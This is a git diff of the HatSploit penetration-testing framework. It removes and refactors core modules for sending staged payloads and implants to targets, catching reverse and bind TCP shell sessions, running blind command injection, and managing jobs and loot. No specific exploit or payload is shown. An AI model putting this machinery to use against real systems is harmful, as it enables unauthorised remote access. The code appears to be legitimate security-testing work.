@@ -1,219 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-import socket
-import datetime
-
-from pex.proto.tcp import TCPTools
-
-from typing import Optional, Callable, Tuple, Any, Union
-
-from hatsploit.lib.option import *
-from hatsploit.lib.complex import *
-from hatsploit.lib.blinder import Blinder
-from hatsploit.lib.payload import Payload
-from hatsploit.lib.module import Module
-from hatsploit.lib.jobs import Jobs
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.sessions import Sessions
-from hatsploit.lib.session import Session
-
-from hatsploit.lib.handler.send import Send
-from hatsploit.lib.handler.misc import HatSploitSession
-
-from badges import Badges
-
-
-class Handler(object):
-    """ Main class of hatsploit.lib.handler module.
-
-    This main class of hatsploit.lib.handler module is intended
-    for providing tools for working with payloads and sessions.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.send = Send()
-
-        self.sessions = Sessions()
-        self.badges = Badges()
-        self.jobs = Jobs()
-        self.encoders = Encoders()
-
-        self.actions = [
-            'shell',
-            'memory',
-        ]
-
-        self.types = [
-            'one_side',
-            'reverse_tcp',
-            'bind_tcp'
-        ]
-
-        self.payload = PayloadOption(None, "Payload to use.", True, object=Module)
-        self.blinder = BooleanOption('no', "Start blind command injection.", False, object=Module)
-        self.encoder = EncoderOption(None, "Encoder to use.", False, object=Payload)
-
-        self.lhost = IPv4Option(TCPTools.get_local_host(), "Local host.", True, object=Module)
-        self.lport = PortOption(8888, "Local port.", True, object=Module)
-
-        self.rhost = IPv4Option(TCPTools.get_local_host(), "Remote host.", True, object=Payload)
-        self.rport = PortOption(8888, "Remote port.", True, object=Payload)
-
-        self.space = IntegerOption(2048, "Buffer space available.",
-                                   False, advanced=True, object=Module)
-
-    def open_session(self, session: Session,
-                     on_session: Optional[Callable[..., Any]] = None) -> None:
-        """ Open session and interact with it if allowed.
-
-        Note: This method does not open session, it just saves opened session to the
-        local storage and interacts with it if allowed.
-
-        :param Session session: session object
-        :param Optional[Callable[..., Any]] on_session: function of an action that
-        should be performed right after session was opened
-        :return None: None
-        """
-
-        platform = str(session.details['Platform'])
-        arch = str(session.details['Arch'])
-        type = session.details['Type']
-        host = session.details['Host']
-        port = session.details['Port']
-
-        session = self.sessions.add_session(platform, arch, type, host, port, session)
-        time = datetime.datetime.now().astimezone().strftime("%Y-%m-%d %H:%M:%S %Z")
-
-        self.badges.print_success(f"{type.title()} session {str(session)} opened at {time}!")
-
-        if on_session:
-            on_session()
-
-        if self.sessions.get_auto_interaction():
-            self.sessions.interact_with_session(session)
-
-    def module_handle(self, *args, **kwargs) -> None:
-        """ Handle session from module.
-
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
-
-        if not self.payload.value:
-            raise RuntimeError("Module has not payload!")
-
-        payload = self.payload.payload
-        encoder = self.encoder.encoder
-
-        if self.blinder.value:
-            sender = kwargs.pop('sender', None)
-
-            if sender:
-                return Blinder().shell(sender)
-
-        session = HatSploitSession
-
-        if 'Session' in payload.details and payload.details['Session']:
-            session = payload.details['Session']
-
-        self.handle(
-            payload=payload,
-            session=session,
-            encoder=encoder,
-            *args, **kwargs
-        )
-
-    def handle(self, payload: Payload, action: str = 'shell',
-               session: Optional[Session] = HatSploitSession,
-               encoder: Optional[Encoder] = None, on_session: Optional[Callable[..., Any]] = None,
-               *args, **kwargs) -> None:
-        """ Handle session.
-
-        :param Payload payload: payload object
-        :param str action: type of handler
-        :param Optional[Session] session: session handler
-        :param Encoder encoder: encoder object of encoder to apply
-        :param Optional[Callable[..., Any]] on_session: function of an action that
-        should be performed right after session was opened
-        """
-
-        space = kwargs.get('space', self.space.value)
-
-        if action == 'shell':
-            client, host = self.send.shell_payload(
-                payload=payload,
-                host=self.lhost.value,
-                port=self.lport.value,
-                space=space,
-                encoder=encoder,
-                *args, **kwargs
-            )
-
-        elif action == 'memory':
-            client, host = self.send.memory_payload(
-                payload=payload,
-                host=self.lhost.value,
-                port=self.lport.value,
-                space=space,
-                encoder=encoder,
-                *args, **kwargs
-            )
-
-        else:
-            raise RuntimeError(f"Unrecognized handler action: {action}!")
-
-        if client:
-            session = session()
-
-            session.details['Platform'] = payload.details['Platform']
-            session.details['Arch'] = payload.details['Arch']
-            session.details['Host'] = host
-            session.details['Port'] = self.lport.value
-
-            session.open(client)
-
-            self.open_session(
-                session=session,
-                on_session=on_session
-            )
-
-    def module_handle_session(self, type: str = 'one_side',
-                              *args, **kwargs) -> Tuple[Union[Session, socket.socket], str]:
-        """ Handle session from module.
-
-        :param str type: type of payload (see self.types)
-        :return Tuple[Union[Session, socket.socket], str]: session and host
-        :raises RuntimeError: with trailing error message
-        :raises RuntimeWarning: with trailing warning message
-        """
-
-        if type not in self.types:
-            raise RuntimeError(f"Invalid payload type: {type}!")
-
-        return self.send.handle_session(
-            host=self.lhost.value, port=self.lport.value, type=type, *args, **kwargs)
diff --git a/hatsploit/lib/handler/send.py b/hatsploit/lib/handler/send.py
deleted file mode 100644
index 4b048912e..000000000
--- a/hatsploit/lib/handler/send.py
+++ /dev/null
@@ -1,308 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-import socket
-import time
-
-from typing import Optional, Tuple, Union
-
-from hatsploit.lib.option import *
-
-from pex.platform.types import Platform
-from pex.post import Post, PostTools
-
-from hatsploit.lib.session import Session
-from hatsploit.lib.payload import Payload
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.handle import Handle
-
-from badges import Badges
-
-from pawn import Pawn
-
-
-class Send(object):
-    """ Subclass of hatsploit.lib.handler module.
-
-    This subclass of hatsploit.lib.handler module is intended for
-    providing tools for sending payloads.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.handle = Handle()
-
-        self.payloads = Payloads()
-
-        self.post = Post()
-        self.post_tools = PostTools()
-
-        self.badges = Badges()
-
-        self.pawn = Pawn()
-
-        self.types = [
-            'one_side',
-            'reverse_tcp',
-            'bind_tcp'
-        ]
-
-    def handle_session(self, host: str, port: int, type: str = 'one_side', timeout: Optional[int] = None,
-                       session: Optional[Session] = None) -> Tuple[Union[Session, socket.socket], str]:
-        """ Handle session.
-
-        :param str host: host
-        :param int port: port
-        :param str type: type of payload
-        :param Optional[int] timeout: timeout
-        :param Optional[Session] session: session
-        :return Tuple[Union[Session, socket.socket], str]: session and host
-        :raises RuntimeWarning: with trailing warning message
-        :raises RuntimeError: with trailing error message
-        """
-
-        if type not in self.types:
-            raise RuntimeError(f"Invalid payload type: {type}!")
-
-        if type == 'reverse_tcp':
-            if not host or not port:
-                raise RuntimeError("Reverse TCP requires host and port set!")
-
-            client, host = self.handle.listen_session(host, port, session, timeout)
-
-            if not client and not host:
-                raise RuntimeError("Reverse TCP received corrupted session!")
-
-            return client, host
-
-        elif type == 'bind_tcp':
-            if not host or not port:
-                raise RuntimeError("Bind TCP requires host and port set!")
-
-            client = self.handle.connect_session(host, port, session, timeout)
-
-            if not client:
-                raise RuntimeError("Bind TCP received corrupted session!")
-
-            return client, host
-
-        else:
-            raise RuntimeWarning("Payload sent, but not session was opened.")
-
-    def send_implant(self, payload: Payload, client: socket.socket,
-                     encoder: Optional[Encoder] = None) -> None:
-        """ Send implant available in the payload with available phases.
-
-        :param Payload payload: payload
-        :param socket.socket client: primary socket pipe
-        :param Optional[Encoder] encoder: encoder to encode with
-        :return None: None
-        """
-
-        if not payload:
-            raise RuntimeError("Payload was not found!")
-
-        step = 1
-        while True:
-            if not hasattr(payload, f'phase{step}'):
-                break
-
-            phase = self.payloads.run_payload(
-                payload=payload,
-                encoder=encoder,
-                method=f'phase{step}'
-            )
-
-            if not phase:
-                raise RuntimeError(f"Payload phase #{str(step)} generated incorrectly!")
-
-            self.badges.print_process(f"Sending payload phase #{str(step)} ({str(len(phase))} bytes)...")
-            client.send(phase)
-
-            time.sleep(.5)
-            step += 1
-
-        if hasattr(payload, 'implant'):
-            implant = self.payloads.run_payload(
-                payload=payload,
-                encoder=encoder,
-                method='implant'
-            )
-
-            if not implant:
-                raise RuntimeError("Payload implant generated incorrectly!")
-
-            if implant:
-                time.sleep(.5)
-
-                self.badges.print_process(f"Sending payload ({str(len(implant))} bytes)...")
-                client.send(implant)
-
-    def shell_payload(self, payload: Payload, host: str, port: int,
-                      space: int = 2048, encoder: Optional[Encoder] = None,
-                      *args, **kwargs) -> Tuple[Union[socket.socket, str], str]:
-        """ Send payload if the destination is shell.
-
-        :param Payload payload: payload
-        :param str host: host to start listener on
-        :param int port: port to start listener on
-        :param int space: maximum payload size
-        :param Optional[Encoder] encoder: encoder to apply
-        :return Tuple[Union[socket.socket, str], str]: final socket and host
-        """
-
-        sender = kwargs.get('sender', None)
-        arguments = payload.details.get('Arguments', '')
-
-        if not payload:
-            raise RuntimeError("Payload was not found!")
-
-        if not sender:
-            raise RuntimeError("Payload sender is not specified!")
-
-        if not host and not port:
-            raise RuntimeError("Host and port were not found for payload!")
-
-        platform = payload.details['Platform']
-        arch = payload.details['Arch']
-        type = payload.details['Type']
-
-        main = self.payloads.run_payload(
-            payload=payload,
-            encoder=encoder
-        )
-
-        if len(main) >= space and hasattr(payload, 'phase'):
-            phase = self.payloads.run_payload(
-                payload=payload,
-                encoder=encoder,
-                method='phase'
-            )
-
-            if phase:
-                phase = self.payloads.pack_payload(
-                    payload=phase,
-                    platform=platform,
-                    arch=arch
-                )
-
-                self.badges.print_process(f"Sending payload phase ({str(len(phase))} bytes)...")
-                self.post.post(
-                    payload=phase,
-                    platform=platform,
-                    arch=arch,
-                    *args, **kwargs
-                )
-
-                if type not in ['reverse_tcp', 'bind_tcp']:
-                    type = 'reverse_tcp'
-
-                client, host = self.handle_session(
-                    host=host, port=port, type=type)
-
-                self.send_implant(payload, client, encoder)
-                return client, host
-
-        phase = self.payloads.pack_payload(
-            payload=main,
-            platform=platform,
-            arch=arch
-        )
-
-        self.badges.print_process(f"Sending payload ({str(len(phase))} bytes)...")
-        self.post.post(
-            payload=phase,
-            platform=platform,
-            arch=arch,
-            arguments=arguments,
-            *args, **kwargs
-        )
-
-        return self.handle_session(
-            host=host, port=port, type=type)
-
-    def memory_payload(self, payload: Payload, host: str, port: int,
-                       space: int = 2048, encoder: Optional[Encoder] = None,
-                       *args, **kwargs) -> Tuple[Union[socket.socket, str], str]:
-        """ Send payload if the destination is memory.
-
-        :param Payload payload: payload
-        :param str host: host to start listener on
-        :param int port: port to start listener on
-        :param int space: maximum payload size
-        :param Optional[Encoder] encoder: encoder to apply
-        :return Tuple[Union[socket.socket, str], str]: final socket and host
-        """
-
-        sender = kwargs.get('sender', None)
-
-        if not payload:
-            raise RuntimeError("Payload was not found!")
-
-        if not sender:
-            raise RuntimeError("Payload sender is not specified!")
-
-        if not host and not port:
-            raise RuntimeError("Host and port were not found for payload!")
-
-        type = payload.details['Type']
-
-        main = self.payloads.run_payload(
-            payload=payload,
-            encoder=encoder
-        )
-
-        if len(main) >= space and hasattr(payload, 'phase'):
-            phase = self.payloads.run_payload(
-                payload=payload,
-                encoder=encoder,
-                method='phase'
-            )
-
-            if phase:
-                self.badges.print_process(f"Sending payload phase ({str(len(phase))} bytes)...")
-                self.post_tools.post_payload(
-                    payload=phase,
-                    *args, **kwargs
-                )
-
-                if type not in ['reverse_tcp', 'bind_tcp']:
-                    type = 'reverse_tcp'
-
-                client, host = self.handle_session(
-                    host=host, port=port, type=type)
-
-                self.send_implant(payload, client, encoder)
-                return client, host
-
-        self.badges.print_process(f"Sending payload ({str(len(main))} bytes)...")
-        self.post_tools.post_payload(
-            payload=main,
-            *args, **kwargs
-        )
-
-        return self.handle_session(
-            host=host, port=port, type=type)
diff --git a/hatsploit/lib/jobs.py b/hatsploit/lib/jobs.py
deleted file mode 100755
index 28e90fba6..000000000
--- a/hatsploit/lib/jobs.py
+++ /dev/null
@@ -1,198 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-import ctypes
-import threading
-
-from typing import Callable, Any
-
-from hatsploit.lib.storage import LocalStorage
-
-
-class Jobs(object):
-    """ Subclass of hatsploit.lib module.
-
-    This subclass of hatsploit.lib module is intended for providing
-    tools for working with HatSploit jobs (threads).
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.local_storage = LocalStorage()
-
-    def get_jobs(self) -> dict:
-        """ Get all visible jobs from local storage.
-
-        :return dict: jobs, ids as keys and details as items
-        """
-
-        return self.local_storage.get("jobs", {})
-
-    def get_hidden_jobs(self) -> dict:
-        """ Get all hidden jobs from local storage.
-
-        :return dict: hidden jobs, ids as keys and details as items
-        """
-
-        return self.local_storage.get("hidden_jobs", {})
-
-    def stop_dead(self) -> None:
-        """ Stop all dead visible and hidden jobs (inactive threads).
-
-        :return None: None
-        """
-
-        jobs = self.get_jobs()
-
-        if jobs:
-            for job_id in list(jobs):
-                if not jobs[job_id]['Process'].is_alive():
-                    self.delete_job(job_id)
-
-        hidden_jobs = self.get_hidden_jobs()
-
-        if hidden_jobs:
-            for job_id in list(hidden_jobs):
-                if not hidden_jobs[job_id]['Process'].is_alive():
-                    self.delete_job(job_id, True)
-
-    def count_jobs(self) -> int:
-        """ Count all visible jobs from local storage.
-
-        :return int: number of visible jobs
-        """
-
-        return len(self.get_jobs())
-
-    def stop_jobs(self) -> None:
-        """ Stop all visible and hidden jobs.
-
-        :return None: None
-        """
-
-        jobs = self.get_jobs()
-
-        for job_id in list(jobs):
-            self.delete_job(job_id)
-
-        hidden_jobs = self.get_hidden_jobs()
-
-        for job_id in list(hidden_jobs):
-            self.delete_job(job_id, True)
-
-    @staticmethod
-    def stop_job(job: threading.Thread) -> None:
-        """ Stop job thread.
-
-        :param threading.Thread job: job thread
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
-
-        if job.is_alive():
-            exc = ctypes.py_object(SystemExit)
-            res = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(job.ident), exc)
-
-            if res > 1:
-                ctypes.pythonapi.PyThreadState_SetAsyncExc(job.ident, None)
-                raise RuntimeError("Failed to stop job!")
-
-    @staticmethod
-    def start_job(target: Callable[..., Any], args: list = [], kwargs: dict = {}) -> threading.Thread:
-        """ Start job thread.
-
-        :param Callable[..., Any] target: function to thread
-        :param list args: extra function arguments
-        :param dict kwargs: extra job function kwargs
-        :return threading.Thread: job thread
-        """
-
-        thread = threading.Thread(target=target, args=args, kwargs=kwargs)
-        thread.setDaemon(True)
-        thread.start()
-
-        return thread
-
-    def delete_job(self, job_id: int, hidden: bool = False) -> None:
-        """ Delete specific job by id.
-
-        :param int job_id: job id
-        :param bool hidden: True if job hidden else False
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
-
-        jobs_var = "jobs"
-
-        if hidden:
-            jobs_var = "hidden_jobs"
-
-        if self.local_storage.get(jobs_var):
-            job_id = int(job_id)
-
-            if job_id in list(self.local_storage.get(jobs_var)):
-                self.stop_job(self.local_storage.get(jobs_var)[job_id]['Process'])
-                self.local_storage.delete_element(jobs_var, job_id)
-
-            else:
-                raise RuntimeError("Invalid job given!")
-
-        else:
-            raise RuntimeError("Invalid job given!")
-
-    def create_job(self, job: str, module: str, target: Callable[..., Any],
-                   args: list = [], kwargs: dict = {}, hidden: bool = False) -> None:
-        """ Create and start job.
-
-        :param str job: job name
-        :param str module: name of module you want to reserve job for,
-        empty if no module
-        :param Callable[..., Any] target: job function
-        :param list args: extra job function arguments
-        :param dict kwargs: extra job function kwargs
-        :param bool hidden: True if you want to create hidden job
-        :return None: None
-        """
-
-        jobs_var = "jobs"
-
-        if hidden:
-            jobs_var = "hidden_jobs"
-
-        if not self.local_storage.get(jobs_var):
-            self.local_storage.set(jobs_var, {})
-
-        job_id = len(self.local_storage.get(jobs_var))
-        job_thread = self.start_job(target, args, kwargs)
-
-        job_data = {
-            job_id: {
-                'Name': job,
-                'Module': module,
-                'Process': job_thread
-            }
-        }
-
-        self.local_storage.update(jobs_var, job_data)
diff --git a/hatsploit/lib/log.py b/hatsploit/lib/log.py
index c268ce7b1..ecd2f9294 100755
--- a/hatsploit/lib/log.py
+++ b/hatsploit/lib/log.py
@@ -35,13 +35,10 @@ class Log(object):
     tools for interacting with HatSploit logs and configuring them.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    config = Config()
 
-        self.config = Config()
-
-        self.storage_path = self.config.path_config['storage_path']
-        self.global_storage = GlobalStorage(self.storage_path)
+    storage_path = config.path_config['storage_path']
+    global_storage = GlobalStorage(storage_path)
 
     def enable_log(self, filename: str) -> None:
         """ Enable logging globally
diff --git a/hatsploit/lib/loot.py b/hatsploit/lib/loot.py
index 5350ab9fd..9280c89e0 100755
--- a/hatsploit/lib/loot.py
+++ b/hatsploit/lib/loot.py
@@ -22,8 +22,8 @@
 SOFTWARE.
 """
 
-import datetime
 import os
+import datetime
 
 from typing import Optional, Union
 
@@ -33,14 +33,15 @@
 from hatsploit.lib.config import Config
 
 
-class Loot(String, FS):
+class Loot(object):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     tools for working with loot collected by HatSploit.
     """
 
-    def __init__(self, loot: Optional[str] = None, data: Optional[str] = None) -> None:
+    def __init__(self, loot: Optional[str] = None,
+                 data: Optional[str] = None) -> None:
         """ Initialize loot.
 
         :param Optional[str] loot: loot root path
@@ -48,8 +49,6 @@ def __init__(self, loot: Optional[str] = None, data: Optional[str] = None) -> No
         :return None: None
         """
 
-        super().__init__()
-
         self.loot = loot or Config().path_config['loot_path']
         self.data = data or Config().path_config['data_path']
 
@@ -79,26 +78,28 @@ def random_loot(self, extension: Optional[str] = None) -> str:
         :return str: random loot path
         """
 
-        filename = self.random_string(16)
+        filename = String.random_string(16)
 
         if extension:
             filename += '.' + extension
 
         return self.loot + filename
 
-    def get_file(self, filename: str) -> bytes:
+    @staticmethod
+    def get_file(filename: str) -> bytes:
         """ Get specific file contents.
 
         :param str filename: file name
         :return bytes: file contents
         """
 
-        self.check_file(filename)
+        FS.check_file(filename)
 
         with open(filename, 'rb') as f:
             return f.read()
 
-    def save_file(self, location: str, data: bytes, extension: Optional[str] = None,
+    @staticmethod
+    def save_file(location: str, data: bytes, extension: Optional[str] = None,
                   filename: Optional[str] = None) -> Union[str, None]:
         """ Save contents to specific location.
 
@@ -109,14 +110,14 @@ def save_file(self, location: str, data: bytes, extension: Optional[str] = None,
         :return Union[str, None]: path if success else None
         """
 
-        exists, is_dir = self.exists(location)
+        exists, is_dir = FS.exists(location)
 
         if exists:
             if is_dir:
                 if location.endswith('/'):
-                    location += os.path.split(filename)[1] if filename else self.random_string(16)
+                    location += os.path.split(filename)[1] if filename else String.random_string(16)
                 else:
-                    location += '/' + os.path.split(filename)[1] if filename else self.random_string(16)
+                    location += '/' + os.path.split(filename)[1] if filename else String.random_string(16)
 
             if extension:
                 if not location.endswith('.' + extension):
@@ -128,14 +129,15 @@ def save_file(self, location: str, data: bytes, extension: Optional[str] = None,
             return os.path.abspath(location)
         return None
 
-    def remove_file(self, filename: str) -> None:
+    @staticmethod
+    def remove_file(filename: str) -> None:
         """ Remove specific file.
 
         :param str filename: file name
         :return None: None
         """
 
-        self.check_file(filename)
+        FS.check_file(filename)
         os.remove(filename)
 
     def get_loot(self, filename: str) -> bytes:
diff --git a/hatsploit/lib/mixins.py b/hatsploit/lib/mixins.py
new file mode 100644
index 000000000..a93f18205
--- /dev/null
+++ b/hatsploit/lib/mixins.py
@@ -0,0 +1,71 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from pex.type.dataset import DataSet
+
+
+class PayloadMixin(DataSet):
+    """ Subclass of hatsploit.lib.module.basic module.
+
+    This subclass of hatsploit.lib.module.basic module is an implementation
+    of a payload mixin set used to switch payload criteria.
+    """
+
+    def __init__(self,
+                 inline: bool = False,
+                 priority: bool = False,
+                 force_defaults: bool = False,
+                 *args, **kwargs) -> None:
+        """ Initialize payload mixin.
+
+        :param bool inline: payload can be sent as a stream of
+        data without phases or dropping.
+        :param bool priority: True to select over other payloads,
+        else False
+        :param bool force_defaults: use default mixin instead of current
+        mixin
+        :return None: None
+        """
+
+        super().__init__(*args, **kwargs)
+
+        self.inline = inline
+        self.priority = priority
+        self.force_defaults = force_defaults
+
+
+PayloadInlineMixin = PayloadMixin(
+    name='Payload In-Line Mixin',
+    inline=True,
+    priority=False
+)
+PayloadDropMixin = PayloadMixin(
+    name='Payload Dropper Mixin',
+    inline=False,
+    priority=True
+)
+PayloadGenericMixin = PayloadMixin(
+    name='Payload Generic Mixin',
+    force_defaults=True
+)
diff --git a/hatsploit/lib/option.py b/hatsploit/lib/option.py
deleted file mode 100644
index 4dcdb84e3..000000000
--- a/hatsploit/lib/option.py
+++ /dev/null
@@ -1,115 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from pex.type import Type
-from pex.socket import Socket
-
-from hatsploit.lib.options import Option
-
-
-class BytesOption(Option):
-    def set(self, value):
-        self.value = bytes.fromhex(value.replace('\\x', ''))
-
-
-class IPv4Option(Option):
-    def set(self, value):
-        self.check('IPv4', Type().types['ipv4'], value)
-        self.value = value
-
-        self.little = Socket().pack_host(self.value)
-        self.big = Socket().pack_host(self.value, 'big')
-
-
-class IPv6Option(Option):
-    def set(self, value):
-        self.check('IPv6', Type().types['ipv6'], value)
-        self.value = value
-
-
-class IPOption(Option):
-    def set(self, value):
-        self.check('IP', Type().types['ip'], value)
-        self.value = value
-
-
-class MACOption(Option):
-    def set(self, value):
-        self.check('MAC', Type().types['mac'], value)
-        self.value = value
-
-
-class IPv4CIDROption(Option):
-    def set(self, value):
-        self.check('IPv4 CIDR', Type().types['ipv4_cidr'], value)
-        self.value = value
-
-
-class IPv6CIDROption(Option):
-    def set(self, value):
-        self.check('IPv6 CIDR', Type().types['ipv6_cidr'], value)
-        self.value = value
-
-
-class PortOption(Option):
-    def set(self, value):
-        self.check('port', Type().types['port'], value)
-        self.value = int(value)
-
-        self.little = Socket().pack_port(self.value)
-        self.big = Socket().pack_port(self.value, 'big')
-
-
-class PortRangeOption(Option):
-    def set(self, value):
-        self.check('port range', Type().types['port_range'], value)
-        self.value = value
-
-
-class NumberOption(Option):
-    def set(self, value):
-        self.check('number', Type().types['number'], value)
-        self.value = value
-
-
-class IntegerOption(Option):
-    def set(self, value):
-        self.check('integer', Type().types['integer'], value)
-        self.value = int(value)
-
-
-class FloatOption(Option):
-    def set(self, value):
-        self.check('float', Type().types['float'], value)
-        self.value = float(value)
-
-
-class BooleanOption(Option):
-    def set(self, value):
-        self.check('boolean', Type().types['boolean'], value)
-
-        if value.lower() in ['y', 'yes']:
-            self.value = True
-        else:
-            self.value = False
diff --git a/hatsploit/lib/payload/__init__.py b/hatsploit/lib/payload/__init__.py
deleted file mode 100644
index d20dc5efb..000000000
--- a/hatsploit/lib/payload/__init__.py
+++ /dev/null
@@ -1,105 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from typing import Union, Any, Optional
-from pawn import Pawn
-
-from hatsploit.lib.option import BytesOption
-
-from badges import Badges, Tables
-
-from hatsploit.core.utils.tools import Tools
-from hatsploit.lib.options import Options
-
-
-class Payload(Badges, Tables, Tools, Pawn):
-    """ Subclass of hatsploit.lib module.
-
-    This subclass of hatsploit.lib module is intended for providing
-    wrapper for a payload.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.details = {
-            'Name': "",
-            'Payload': "",
-            'Authors': [
-                ''
-            ],
-            'Description': "",
-            'Arch': None,
-            'Platform': None,
-            'Session': None,
-            'Rank': "",
-            'Type': ""
-        }
-
